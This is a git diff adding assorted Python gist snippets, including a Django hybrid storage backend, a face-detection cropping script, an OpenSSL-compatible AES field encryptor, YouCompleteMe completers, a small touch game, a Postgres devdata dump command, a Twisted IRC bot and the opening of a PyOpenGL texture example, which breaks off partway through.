+    def __init__(self, backends=None):
+        if not backends:
+            backends = settings.HYBRID_STORAGE_BACKENDS
+        self.backends = []
+
+        for backend in backends:
+            if isinstance(backend, Storage):
+                self.backends.append(backend)
+            elif isinstance(backend, basestring):
+                self.backends.append(load_class(backend)())
+
+    def _open(self, name, mode='rb'):
+        for backend in self.backends:
+            try:
+                f = backend._open(name, mode=mode)
+                return f
+            except IOError:
+                continue
+        raise IOError('File does not exist: %s' % name)
+
+    def _save(self, name, content):
+        for backend in self.backends:
+            try:
+                result = backend._save(name, content)
+                return result
+            except IOError:
+                continue
+        raise IOError('Could not save file in any available backend')
+
+    def _backend_for_name(self, name):
+        for backend in self.backends:
+            if backend.exists(name):
+                return backend
+            continue
+        return None
+
+    def delete(self, name):
+        pass
+
+    def exists(self, name):
+        for backend in self.backends:
+            if backend.exists(name):
+                return True
+            continue
+        return False
+
+    def listdir(self, path):
+        """
+        Collect the results of `listdir` on all backends, and then deduplicate
+        """
+        collected_directories = []
+        collected_files = []
+        for backend in self.backends:
+            try:
+                directories, files = backend.listdir(path)
+                collected_directories.extend(directories)
+                collected_files.extend(files)
+            except:
+                pass
+        collected_directories = list(set(collected_directories))
+        collected_files = list(set(collected_files))
+
+        return collected_directories, collected_files
+
+    def size(self, name):
+        backend = self._backend_for_name(name)
+        if backend:
+            return backend.size(name)
+        return None
+
+    def url(self, name):
+        backend = self._backend_for_name(name)
+        if backend:
+            return backend.url(name)
+        return None
+
+    def accessed_time(self, name):
+        backend = self._backend_for_name(name)
+        if backend:
+            return backend.accessed_time(name)
+        return None
+
+    def created_time(self, name):
+        backend = self._backend_for_name(name)
+        if backend:
+            return backend.created_time(name)
+        return None
+
+    def modified_time(self, name):
+        backend = self._backend_for_name(name)
+        if backend:
+            return backend.modified_time(name)
+        return None
diff --git a/hard-gists/5805662/._snippet.py b/hard-gists/5805662/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5805662/._snippet.py differ
diff --git a/hard-gists/5805662/snippet.py b/hard-gists/5805662/snippet.py
new file mode 100644
index 00000000..b43ef42b
--- /dev/null
+++ b/hard-gists/5805662/snippet.py
@@ -0,0 +1,89 @@
+import sys
+
+from PIL import Image, ImageDraw
+
+try:
+    import cv
+except ImportError:
+    print 'Could not import cv, trying opencv'
+    import opencv.cv as cv
+
+
+def main():
+    source_image = Image.open('example.jpg')
+    source_width, source_height = source_image.size
+    print 'Image is {}x{}'.format(source_width, source_height)
+
+    target_width = 1000
+    target_height = 200
+
+    # Make image a reasonable size to work with. Using the source_height will
+    # make sure it's just resized to the target_width
+    source_image.thumbnail((target_width, source_height), Image.ANTIALIAS)
+
+    # Find the faces and show us where they are
+    faces = faces_from_pil_image(source_image)
+    faces_found_image = draw_faces(source_image, faces)
+    faces_found_image.show()
+
+    # Get details about where the faces are so we can crop
+    top_of_faces = top_face_top(faces)
+    bottom_of_faces = bottom_face_bottom(faces)
+
+    all_faces_height = bottom_of_faces - top_of_faces
+    print 'Faces are {} pixels high'.format(all_faces_height)
+
+    if all_faces_height >= target_width:
+        print 'Faces take up more than the final image, you need better logic'
+        exit_code = 1
+    else:
+        # Figure out where to crop and show the results
+        face_buffer = 0.5 * (target_height - all_faces_height)
+        top_of_crop = int(top_of_faces - face_buffer)
+        coords = (0, top_of_crop, target_width, top_of_crop + target_height)
+        print 'Cropping to', coords
+        final_image = source_image.crop(coords)
+        final_image.show()
+        exit_code = 0
+
+    return exit_code
+
+
+def faces_from_pil_image(pil_image):
+    "Return a list of (x,y,h,w) tuples for faces detected in the PIL image"
+    storage = cv.CreateMemStorage(0)
+    facial_features = cv.Load('haarcascade_frontalface_alt.xml', storage=storage)
+    cv_im = cv.CreateImageHeader(pil_image.size, cv.IPL_DEPTH_8U, 3)
+    cv.SetData(cv_im, pil_image.tostring())
+    faces = cv.HaarDetectObjects(cv_im, facial_features, storage)
+    # faces includes a `neighbors` field that we aren't going to use here
+    return [f[0] for f in faces]
+
+
+def top_face_top(faces):
+    coords = [f[1] for f in faces]
+    # Top left corner is 0,0 so we need the min for highest face
+    return min(coords)
+
+
+def bottom_face_bottom(faces):
+    # Top left corner is 0,0 so we need the max for lowest face. Also add the
+    # height of the faces so that we get the bottom of it
+    coords = [f[1] + f[3] for f in faces]
+    return max(coords)
+
+
+def draw_faces(image_, faces):
+    "Draw a rectangle around each face discovered"
+    image = image_.copy()
+    drawable = ImageDraw.Draw(image)
+
+    for x, y, w, h in faces:
+        absolute_coords = (x, y, x + w, y + h)
+
+        drawable.rectangle(absolute_coords)
+    return image
+
+
+if __name__ == '__main__':
+    sys.exit(main())
\ No newline at end of file
diff --git a/hard-gists/5807648/._snippet.py b/hard-gists/5807648/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5807648/._snippet.py differ
diff --git a/hard-gists/5807648/snippet.py b/hard-gists/5807648/snippet.py
new file mode 100644
index 00000000..d1e19794
--- /dev/null
+++ b/hard-gists/5807648/snippet.py
@@ -0,0 +1,192 @@
+import binascii
+from Crypto.Cipher import AES
+from Crypto.Random.random import getrandbits
+from hashlib import md5
+from schematics.types import StringType
+import struct
+
+
+class DecryptionException(Exception):
+    pass
+
+
+class Encryptor(object):
+    '''
+    A class which encapsulates the logic for encrypting and decrypting
+    strings using the algorithm and protocol we want to use
+    (aes-256-cbc). It takes two arguments when created -- the password
+    to use, and the magic "number" (actually a string) to prepend to
+    encrypted string if any -- and has three public methods --
+    decrypt(), encrypt(), and set_password().
+
+    decrypt() takes the encrypted, base64-encoded database field and
+    returns the decrypted string.
+
+    decrypt() has the following special behavior -- if the string
+    passed into it isn't valid base64, or if the decoded string
+    doesn't start with "Salted__", it assumes that the string is
+    already decrypted and returns it as-is.
+
+    encrypt() takes a plaintext string and returns an encrypted,
+    base64-encoded string to be stored in the database.
+
+    set_password() takes a new password and replaces the previous
+    password with the new one.
+    '''
+
+    def __init__(self, password, magic_number=''):
+        # It would be nice if we could convert the password into a key
+        # and then forget it, but we can't do that, because each time
+        # we decrypt there will be a different salt and therefore a
+        # different key and IV.
+        self.password = password
+        self.magic_number = magic_number
+
+    def decrypt(self, base64_string):
+        if not isinstance(base64_string, (str, unicode)):
+            return base64_string
+        if self.magic_number:
+            if base64_string[0:len(self.magic_number)] != self.magic_number:
+                # Not encrypted?
+                return base64_string
+            base64_string = base64_string[len(self.magic_number):]
+        try:
+            binary_string = binascii.a2b_base64(base64_string)
+        except:
+            # Must already be decrypted.
+            return base64_string
+        if binary_string[0:8] != 'Salted__':
+            # Not encrypted the way we expect, so punt on decryption.
+            return base64_string
+
+        # The salt is the 9th through 16th bytes in the encrypted
+        # string.
+        salt = binary_string[8:16]
+
+        # The key is produced from the password and salt. The 32-bit
+        # key length is required for 256-bit AES, and the 16-byte IV
+        # length is required for AES CBC.
+        key, iv = self.EVP_ByteToKey(self.password, salt, 32, 16)
+
+        # The data is everything after the 16th byte in the encrypted
+        # string.
+        data = binary_string[16:]
+
+        encryptor = AES.new(key, AES.MODE_CBC, iv)
+        decrypted = self.unpad(encryptor.decrypt(data))
+        try:
+            return decrypted.decode('utf-8')
+        except UnicodeDecodeError:
+            # This means the decrypted string is garbage, so wrong password,
+            # probably.
+            raise DecryptionException('Decryption failure; bad password?')
+
+    def encrypt(self, plaintext):
+        plaintext = self.pad(plaintext.encode('utf-8'))
+        salt = self.random_salt()
+        key, iv = self.EVP_ByteToKey(self.password, salt, 32, 16)
+        encryptor = AES.new(key, AES.MODE_CBC, iv)
+        binary_string = 'Salted__' + salt + encryptor.encrypt(plaintext)
+        base64_string = self.magic_number + binascii.b2a_base64(binary_string)
+        return base64_string
+
+    def set_password(self, password):
+        self.password = password
+
+    def random_salt(self):
+        return struct.pack('=Q', getrandbits(64))
+
+    # AES CBC requires blocks to be aligned on 16-byte boundaries.
+    BS = 16
+
+    # PKCS#7 pad and unpad routines.
+
+    def pad(self, s):
+        return s + (self.BS - len(s) % self.BS) * \
+            chr(self.BS - len(s) % self.BS)
+
+    @staticmethod
+    def unpad(s):
+        return s[0:-ord(s[-1])]
+
+    # This is the algorithm that openssl uses to turn a password and
+    # salt into an encryption key and IV. Since the
+    # mongoid-encrypted-fields Gem we're using on the Ruby side does
+    # openssl-compatible encryption, we need to as well, so we need to
+    # use the same algorithm that it and OpenSSL use.
+
+    @staticmethod
+    def EVP_ByteToKey(password, salt, key_len, iv_len):
+        """
+        Derive the key and the IV from the given password and salt.
+        """
+        dtot = md5(password + salt).digest()
+        d = [dtot]
+        while len(dtot) < (iv_len + key_len):
+            d.append(md5(d[-1] + password + salt).digest())
+            dtot += d[-1]
+        return dtot[:key_len], dtot[key_len:key_len + iv_len]
+
+
+def MakeSchematicsEncryptedType(schematics_type, encryptor):
+    '''
+    Returns an encrypted version of a scalar Schematics type.
+
+    Don't try to double-encrypt fields, i.e., to store an
+    encrypted string as a field value. That will yield unpredictable
+    results.
+    '''
+
+    if not issubclass(schematics_type, StringType):
+        raise Exception('This code has only been tested with strings.')
+
+    class EncryptedType(schematics_type):
+        options = {'nested_for_python': None,
+                   'nested_for_json': None}
+
+        def __set__(self, instance, value):
+            super(EncryptedType, self).__set__(instance,
+                                               encryptor.decrypt(value))
+
+        def for_python(self, value):
+            # We need to protect against a type implementation wher
+            # for_python calls for_json or vice versa.
+            val = unicode(super(EncryptedType, self).for_python(value))
+            if self.options['nested_for_python'] is None:
+                try:
+                    dec = encryptor.decrypt(val)
+                    if dec == val:
+                        raise Exception('Fall through to except')
+                    else:
+                        self.options['nested_for_python'] = True
+                        return val
+                except:
+                    self.options['nested_for_python'] = False
+                    return encryptor.encrypt(val)
+
+            elif self.options['nested_for_python']:
+                return val
+            else:
+                return encryptor.encrypt(val)
+
+        def for_json(self, value):
+            # We need to protect against a type implementation wher
+            # for_python calls for_json or vice versa.
+            val = unicode(super(EncryptedType, self).for_json(value))
+            if self.options['nested_for_json'] is None:
+                try:
+                    dec = encryptor.decrypt(val)
+                    if dec == val:
+                        raise Exception('Fall through to except:')
+                    else:
+                        self.options['nested_for_json'] = True
+                        return val
+                except:
+                    self.options['nested_for_json'] = False
+                    return encryptor.encrypt(val)
+            elif self.options['nested_for_json']:
+                return val
+            else:
+                return encryptor.encrypt(val)
+
+    return EncryptedType
diff --git a/hard-gists/5807738/._snippet.py b/hard-gists/5807738/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5807738/._snippet.py differ
diff --git a/hard-gists/5807738/snippet.py b/hard-gists/5807738/snippet.py
new file mode 100644
index 00000000..21de5b75
--- /dev/null
+++ b/hard-gists/5807738/snippet.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python
+#
+# Copyright (C) 2013 Stanislav Golovanov <stgolovanov@gmail.com>
+#                    Strahinja Val Markovic  <val@markovic.io>
+#
+# This file is part of YouCompleteMe.
+#
+# YouCompleteMe is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# YouCompleteMe is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with YouCompleteMe.  If not, see <http://www.gnu.org/licenses/>.
+
+from ycm.completers.general_completer import GeneralCompleter
+import vim
+
+
+class NeoSnippetCompleter( GeneralCompleter ):
+  """
+  General completer that provides UltiSnips snippet names in completions.
+  """
+
+  def __init__( self ):
+    super( NeoSnippetCompleter, self ).__init__()
+    self._candidates = None
+    self._filtered_candidates = None
+
+
+  def ShouldUseNowInner( self, start_column ):
+    return self.QueryLengthAboveMinThreshold( start_column )
+
+
+  def CandidatesForQueryAsync( self, query, unused_start_column ):
+    self._filtered_candidates = self.FilterAndSortCandidates( self._candidates,
+                                                              query )
+
+
+  def AsyncCandidateRequestReady( self ):
+    return True
+
+
+  def CandidatesFromStoredRequest( self ):
+    return self._filtered_candidates if self._filtered_candidates else []
+
+
+  def OnBufferVisit( self ):
+    self._candidates = _GetCandidates()
+
+
+def _GetCandidates():
+  try:
+    neosnips = vim.eval('neosnippet#get_snippets()')
+
+    return  [ { 'word': str( snip ),
+                'menu': '<snip> ' + str( attr['menu_abbr'] )}
+                for snip, attr in neosnips.items() ]
+  except:
+    return []
\ No newline at end of file
diff --git a/hard-gists/5807746/._snippet.py b/hard-gists/5807746/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5807746/._snippet.py differ
diff --git a/hard-gists/5807746/snippet.py b/hard-gists/5807746/snippet.py
new file mode 100644
index 00000000..723dda2d
--- /dev/null
+++ b/hard-gists/5807746/snippet.py
@@ -0,0 +1,150 @@
+#!/usr/bin/env python
+#
+# Copyright (C) 2013  Stanislav Golovanov <stgolovanov@gmail.com>
+#                     Strahinja Val Markovic  <val@markovic.io>
+#
+# This file is part of YouCompleteMe.
+#
+# YouCompleteMe is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# YouCompleteMe is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with YouCompleteMe.  If not, see <http://www.gnu.org/licenses/>.
+
+from ycm.completers.completer import Completer
+from ycm.completers.all.identifier_completer import IdentifierCompleter
+from ycm.completers.general.filename_completer import FilenameCompleter
+
+try:
+  from ycm.completers.general.ultisnips_completer import UltiSnipsCompleter
+  USE_ULTISNIPS_COMPLETER = True
+except ImportError:
+  USE_ULTISNIPS_COMPLETER = False
+
+try:
+  from ycm.completers.general.neosnippet_completer import NeoSnippetCompleter
+  USE_NEOSNIPPET_COMPLETER = True
+except ImportError:
+  USE_NEOSNIPPET_COMPLETER = False
+
+
+
+class GeneralCompleterStore( Completer ):
+  """
+  Holds a list of completers that can be used in all filetypes.
+
+  It overrides all Competer API methods so that specific calls to
+  GeneralCompleterStore are passed to all general completers.
+  """
+
+  def __init__( self ):
+    super( GeneralCompleterStore, self ).__init__()
+    self._identifier_completer = IdentifierCompleter()
+    self._filename_completer = FilenameCompleter()
+    self._ultisnips_completer = ( UltiSnipsCompleter()
+                                  if USE_ULTISNIPS_COMPLETER else None )
+    self._neosnippet_completer = ( NeoSnippetCompleter()
+                                  if USE_NEOSNIPPET_COMPLETER else None )
+    self._non_filename_completers = filter( lambda x: x,
+                                            [ self._ultisnips_completer,
+                                              self._neosnippet_completer,
+                                              self._identifier_completer ] )
+    self._all_completers = filter( lambda x: x,
+                                   [ self._identifier_completer,
+                                     self._filename_completer,
+                                     self._neosnippet_completer,
+                                     self._ultisnips_completer ] )
+    self._current_query_completers = []
+
+
+  def SupportedFiletypes( self ):
+    return set()
+
+
+  def ShouldUseNow( self, start_column ):
+    self._current_query_completers = []
+
+    if self._filename_completer.ShouldUseNow( start_column ):
+      self._current_query_completers = [ self._filename_completer ]
+      return True
+
+    should_use_now = False
+
+    for completer in self._non_filename_completers:
+      should_use_this_completer = completer.ShouldUseNow( start_column )
+      should_use_now = should_use_now or should_use_this_completer
+
+      if should_use_this_completer:
+        self._current_query_completers.append( completer )
+
+    return should_use_now
+
+
+  def CandidatesForQueryAsync( self, query, start_column ):
+    for completer in self._current_query_completers:
+      completer.CandidatesForQueryAsync( query, start_column )
+
+
+  def AsyncCandidateRequestReady( self ):
+    return all( x.AsyncCandidateRequestReady() for x in
+                self._current_query_completers )
+
+
+  def CandidatesFromStoredRequest( self ):
+    candidates = []
+    for completer in self._current_query_completers:
+      candidates += completer.CandidatesFromStoredRequest()
+
+    return candidates
+
+
+  def OnFileReadyToParse( self ):
+    for completer in self._all_completers:
+      completer.OnFileReadyToParse()
+
+
+  def OnCursorMovedInsertMode( self ):
+    for completer in self._all_completers:
+      completer.OnCursorMovedInsertMode()
+
+
+  def OnCursorMovedNormalMode( self ):
+    for completer in self._all_completers:
+      completer.OnCursorMovedNormalMode()
+
+
+  def OnBufferVisit( self ):
+    for completer in self._all_completers:
+      completer.OnBufferVisit()
+
+
+  def OnBufferUnload( self, deleted_buffer_file ):
+    for completer in self._all_completers:
+      completer.OnBufferUnload( deleted_buffer_file )
+
+
+  def OnCursorHold( self ):
+    for completer in self._all_completers:
+      completer.OnCursorHold()
+
+
+  def OnInsertLeave( self ):
+    for completer in self._all_completers:
+      completer.OnInsertLeave()
+
+
+  def OnCurrentIdentifierFinished( self ):
+    for completer in self._all_completers:
+      completer.OnCurrentIdentifierFinished()
+
+
+  def GettingCompletions( self ):
+    for completer in self._all_completers:
+      completer.GettingCompletions()
\ No newline at end of file
diff --git a/hard-gists/5808d73731b50f8abbdcb3c3c5c1e6fa/._snippet.py b/hard-gists/5808d73731b50f8abbdcb3c3c5c1e6fa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5808d73731b50f8abbdcb3c3c5c1e6fa/._snippet.py differ
diff --git a/hard-gists/5808d73731b50f8abbdcb3c3c5c1e6fa/snippet.py b/hard-gists/5808d73731b50f8abbdcb3c3c5c1e6fa/snippet.py
new file mode 100644
index 00000000..f7fa4756
--- /dev/null
+++ b/hard-gists/5808d73731b50f8abbdcb3c3c5c1e6fa/snippet.py
@@ -0,0 +1,11 @@
+from PIL import Image
+if __name__ == "__main__":
+    im = Image.open("mr.zhang.jpg")
+    x, y = im.size
+    for i in range(x):
+        for j in range(y):
+            r, g, b = im.getpixel((i,j))
+            if (20< r < 180) and (80< g < 250) and (180< b< 265):
+                r, g, b = 255, 255, 255
+            im.putpixel((i, j), (r, g, b))
+    im.show()
diff --git a/hard-gists/5809279/._snippet.py b/hard-gists/5809279/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5809279/._snippet.py differ
diff --git a/hard-gists/5809279/snippet.py b/hard-gists/5809279/snippet.py
new file mode 100644
index 00000000..71f9cdb4
--- /dev/null
+++ b/hard-gists/5809279/snippet.py
@@ -0,0 +1,166 @@
+from scene import *
+from random import randint
+
+screen_size = Size()
+
+class Ball (object):
+	def __init__(self, pos=None, size=Size(70, 70), c=(1,0,0)):
+		load_image('White_Circle')
+		if pos is None:
+			pos = Point(randint(0, screen_size.w), randint(0, screen_size.h))
+		self.pos = pos
+		self.size = size
+		self.colour = c
+		if self.colour == (1,0,0):
+			self.vel = Point(randint(-5, 5), randint(-5, 5))
+			while self.vel.x == 0 and self.vel.y == 0:
+				self.vel = Point(randint(-5, 5), randint(-5, 5))
+		else: 
+			self.vel = Point(0, 0)
+		self.touched = False
+		
+	def random_pos(self):
+		self.pos.x = randint(self.size.w/2, screen_size.w-self.size.w/2)
+		self.pos.y = randint(self.size.h/2, screen_size.h-self.size.h/2)
+		
+	def bbox(self):
+		return Rect(self.pos.x-self.size.w/2, self.pos.y-self.size.h/2, *self.size)
+		
+	def hit(self, ball):
+		return self.pos.distance(ball.pos) < self.size.w/2 + ball.size.w/2
+		
+	def update(self):
+		self.pos.x += self.vel.x
+		self.pos.y += self.vel.y
+		if self.bbox().left() <= 0:
+			self.pos.x = self.size.w/2
+			self.vel.x = abs(self.vel.x)
+		if self.bbox().right() >= screen_size.w:
+			self.pos.x = screen_size.w-self.size.w/2
+			self.vel.x = -abs(self.vel.x)
+		if self.bbox().top() >= screen_size.h:
+			self.pos.y = screen_size.h-self.size.h/2
+			self.vel.y = -abs(self.vel.y)
+		if self.bbox().bottom() <= 0:
+			self.pos.y = self.size.h/2
+			self.vel.y = abs(self.vel.y)
+			
+	def draw(self):
+		self.update()
+		tint(*self.colour)
+		image('White_Circle', *self.bbox())
+
+class Game (Scene):
+	def setup(self):
+		bottom = 0
+		top = screen_size.h
+		left = 0
+		right = screen_size.w
+		self.walls = [(left, bottom, left, top), (left, top, right, top),
+		              (right, top, right, bottom), (right, bottom, left, bottom)]
+		self.player = Ball(Point(screen_size.w/2, screen_size.h/2), c=(0,0,1))
+		self.gem = Ball(size=Size(50, 50), c=(0,1,0))
+		self.enemies = [Ball()]
+		global score; score = 0
+	
+	def draw(self):
+		global score
+		background(0.00, 0.00, 0.00)
+		no_stroke()
+		self.player.draw()
+		self.gem.draw()
+		if self.player.hit(self.gem):
+			self.gem.random_pos()
+			new_ball = Ball()
+			while self.player.pos.distance(new_ball.pos) < 400:
+				new_ball = Ball()
+			self.enemies.append(new_ball)
+			score += 1
+		for enemy in self.enemies:
+			enemy.draw()
+			if self.player.hit(enemy):
+				main_scene.switch_scene(GameOver)
+		no_tint()
+		text(str(score), x=screen_size.w/2, y=screen_size.h-50, font_size=24)
+		stroke_weight(4)
+		stroke(1,1,1)
+		for wall in self.walls:
+			line(*wall)
+	
+	def touch_began(self, touch):
+		if touch.location in self.player.bbox():
+			self.player.touched = True  
+			
+	def touch_moved(self, touch):
+		if self.player.touched:
+			self.player.pos = touch.location
+			
+	def touch_ended(self, touch):
+		self.player.touched = False 
+		
+		
+class Start (Scene):
+	def draw(self):
+		background(0, 0, 0)
+		tint(0, 0, 1)
+		image('White_Circle', screen_size.w/4, screen_size.h/2, 70, 70)
+		tint(1, 0, 0)
+		image('White_Circle', screen_size.w/4*2, screen_size.h/2, 70, 70)
+		tint(0,1,0)
+		image('White_Circle', screen_size.w/4*3, screen_size.h/2, 70, 70)
+		no_tint()
+		text('This is you.', x=(screen_size.w/3)-50, y=100+screen_size.h/2, font_size=24)
+		text('Avoid this.', x=(screen_size.w/4*2)+40, y=100+screen_size.h/2, font_size=24)
+		text('Catch this.', x=40+(screen_size.w/4*3), y=100+screen_size.h/2, font_size=24)
+		text('Touch screen to start.', x=screen_size.w/2, y=screen_size.h-100, font_size=32)
+		
+	def touch_ended(self, touch):
+		main_scene.switch_scene(Game)
+		
+		
+class GameOver (Scene):
+	def setup(self):
+		self.button = Button(Rect((screen_size.w/2)-100, (screen_size.h/2)-50, 200, 100), 'RESTART')
+		self.button.action = self.restart
+		self.add_layer(self.button)
+		
+	def restart(self):
+		main_scene.switch_scene(Game)
+		
+	def draw(self):
+		background(0,0,0)
+		self.button.draw()
+		no_tint()
+		text('Your score was: {0}'.format(score), x=screen_size.w/2, y=screen_size.h-50, font_size=24)
+		
+		
+class MultiScene (Scene):
+	def __init__(self, start_scene):
+		self.active_scene = start_scene()
+		
+	def switch_scene(self, new_scene):
+		self.active_scene = new_scene()
+		self.setup()
+		
+	def setup(self):
+		global screen_size
+		screen_size = self.size
+		self.active_scene.add_layer = self.add_layer
+		self.active_scene.size = self.size
+		self.active_scene.setup()
+		
+	def draw(self):
+		self.active_scene.touches = self.touches
+		self.active_scene.draw()
+		
+	def touch_began(self, touch):
+		self.active_scene.touch_began(touch)
+		
+	def touch_moved(self, touch):
+		self.active_scene.touch_moved(touch)
+		
+	def touch_ended(self, touch):
+		self.active_scene.touch_ended(touch)
+
+main_scene = MultiScene(Start)
+run(main_scene)
diff --git a/hard-gists/5819145/._snippet.py b/hard-gists/5819145/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5819145/._snippet.py differ
diff --git a/hard-gists/5819145/snippet.py b/hard-gists/5819145/snippet.py
new file mode 100644
index 00000000..5ac56c5e
--- /dev/null
+++ b/hard-gists/5819145/snippet.py
@@ -0,0 +1,58 @@
+import commands
+import os
+
+from optparse import make_option
+
+from django.conf import settings
+from django.core.management.base import BaseCommand
+
+from trapeze import settings as trapeze_settings
+
+
+class Command(BaseCommand):
+    help = 'Dumps database and files to devdata'
+    option_list = BaseCommand.option_list + (
+        make_option('--path', action='store', dest='path', type='string',
+            help='Path to devdata folder'),
+    )
+
+    def handle(self, **options):
+        path = options.get('path') or trapeze_settings.PATH_TO_DEVDATA
+        if not os.path.exists(path):
+            self.stderr.write('Devdata path does not exist: %s\n' % path)
+            return
+
+        devdata_files = os.path.join(path, 'files')
+        media_files = settings.MEDIA_ROOT
+
+        if not os.path.exists(media_files):
+            self.stderr.write('Media files path does not exist: %s\n' % media_files)
+
+        # Perform sql dump
+        dump_sql = os.path.join(path, 'dump.sql')
+        pg_dump = 'pg_dump -h %(host)s -U %(user)s --clean --no-owner --no-privileges %(db)s > %(dump_sql)s' % {
+            'host': settings.DATABASES['default']['HOST'], 'user': settings.DATABASES['default']['USER'],
+            'db': settings.DATABASES['default']['NAME'], 'dump_sql': dump_sql,
+        }
+        status, output = commands.getstatusoutput(pg_dump)
+        if status != 0:
+            self.stderr.write(output + "\n")
+            return
+        else:
+            self.stdout.write(output + "\n")
+
+        # Rsync media files
+        if not os.path.exists(devdata_files):
+            os.mkdir(devdata_files)
+
+        rsync_files = 'rsync %(options)s %(media_files)s %(devdata_files)s ' % {
+            'devdata_files': devdata_files,
+            'media_files': media_files,
+            'options': trapeze_settings.RSYNC_OPTIONS,
+        }
+        status, output = commands.getstatusoutput(rsync_files)
+        self.stdout.write(output)
+        if status != 0:
+            self.stderr.write(output + "\n")
+        else:
+            self.stdout.write(output + "\n")
diff --git a/hard-gists/5823693/._snippet.py b/hard-gists/5823693/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5823693/._snippet.py differ
diff --git a/hard-gists/5823693/snippet.py b/hard-gists/5823693/snippet.py
new file mode 100644
index 00000000..75d6ca33
--- /dev/null
+++ b/hard-gists/5823693/snippet.py
@@ -0,0 +1,93 @@
+import sys
+
+from twisted.internet import defer, endpoints, protocol, reactor, task
+from twisted.python import log
+from twisted.words.protocols import irc
+
+
+class MyFirstIRCProtocol(irc.IRCClient):
+    nickname = 'MyFirstIrcBot'
+
+    def __init__(self):
+        self.deferred = defer.Deferred()
+
+    def connectionLost(self, reason):
+        self.deferred.errback(reason)
+
+    def signedOn(self):
+        # This is called once the server has acknowledged that we sent
+        # both NICK and USER.
+        for channel in self.factory.channels:
+            self.join(channel)
+
+    # Obviously, called when a PRIVMSG is received.
+    def privmsg(self, user, channel, message):
+        nick, _, host = user.partition('!')
+        message = message.strip()
+        if not message.startswith('!'):  # not a trigger command
+            return  # so do nothing
+        command, sep, rest = message.lstrip('!').partition(' ')
+        # Get the function corresponding to the command given.
+        func = getattr(self, 'command_' + command, None)
+        # Or, if there was no function, ignore the message.
+        if func is None:
+            return
+        # maybeDeferred will always return a Deferred. It calls func(rest), and
+        # if that returned a Deferred, return that. Otherwise, return the
+        # return value of the function wrapped in
+        # twisted.internet.defer.succeed. If an exception was raised, wrap the
+        # traceback in twisted.internet.defer.fail and return that.
+        d = defer.maybeDeferred(func, rest)
+        # Add callbacks to deal with whatever the command results are.
+        # If the command gives error, the _show_error callback will turn the
+        # error into a terse message first:
+        d.addErrback(self._showError)
+        # Whatever is returned is sent back as a reply:
+        if channel == self.nickname:
+            # When channel == self.nickname, the message was sent to the bot
+            # directly and not to a channel. So we will answer directly too:
+            d.addCallback(self._sendMessage, nick)
+        else:
+            # Otherwise, send the answer to the channel, and use the nick
+            # as addressing in the message itself:
+            d.addCallback(self._sendMessage, channel, nick)
+
+    def _sendMessage(self, msg, target, nick=None):
+        if nick:
+            msg = '%s, %s' % (nick, msg)
+        self.msg(target, msg)
+
+    def _showError(self, failure):
+        return failure.getErrorMessage()
+
+    def command_ping(self, rest):
+        return 'Pong.'
+
+    def command_saylater(self, rest):
+        when, sep, msg = rest.partition(' ')
+        when = int(when)
+        d = defer.Deferred()
+        # A small example of how to defer the reply from a command. callLater
+        # will callback the Deferred with the reply after so many seconds.
+        reactor.callLater(when, d.callback, msg)
+        # Returning the Deferred here means that it'll be returned from
+        # maybeDeferred in privmsg.
+        return d
+
+
+class MyFirstIRCFactory(protocol.ReconnectingClientFactory):
+    protocol = MyFirstIRCProtocol
+    channels = ['##MyFirstIrcBot']
+
+
+def main(reactor, description):
+    endpoint = endpoints.clientFromString(reactor, description)
+    factory = MyFirstIRCFactory()
+    d = endpoint.connect(factory)
+    d.addCallback(lambda protocol: protocol.deferred)
+    return d
+
+
+if __name__ == '__main__':
+    log.startLogging(sys.stderr)
+    task.react(main, ['tcp:irc.freenode.net:6667'])
diff --git a/hard-gists/5823716a1da5f0273504/._snippet.py b/hard-gists/5823716a1da5f0273504/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5823716a1da5f0273504/._snippet.py differ
diff --git a/hard-gists/5823716a1da5f0273504/snippet.py b/hard-gists/5823716a1da5f0273504/snippet.py
new file mode 100644
index 00000000..fd230111
--- /dev/null
+++ b/hard-gists/5823716a1da5f0273504/snippet.py
@@ -0,0 +1,214 @@
+#!/usr/bin/python2.7
+"""Quick hack of 'modern' OpenGL example using pysdl2 and pyopengl
+that shows a textured triangle; assumes there is a 'hazard.png' image
+file in working directory.
+
+Based on:
+
+pysdl2 OpenGL example
+http://www.tomdalling.com/blog/modern-opengl/02-textures/
+http://www.arcsynthesis.org/gltut/Basics/Tut02%20Vertex%20Attributes.html
+http://schi.iteye.com/blog/1969710
+https://www.opengl.org/wiki/Vertex_Specification_Best_Practices#Vertex_Layout_Specification
+http://docs.gl/gl3/glVertexAttribPointer
+https://gist.github.com/jawa0/4003034
+https://github.com/tomdalling/opengl-series/blob/master/linux/02_textures/source/main.cpp
+"""
+import sys
+import ctypes
+import numpy
+
+from OpenGL import GL, GLU
+from OpenGL.GL import shaders
+from OpenGL.arrays import vbo
+
+import PIL
+from PIL import Image
+import sdl2
+from sdl2 import video
+from numpy import array
+
+shaderProgram = None
+VAO = None
+VBO = None
+sampleTexture = None
+texUnitUniform = None
+
+
+def loadTexture(path):
+    img = Image.open(path).transpose(Image.FLIP_TOP_BOTTOM)
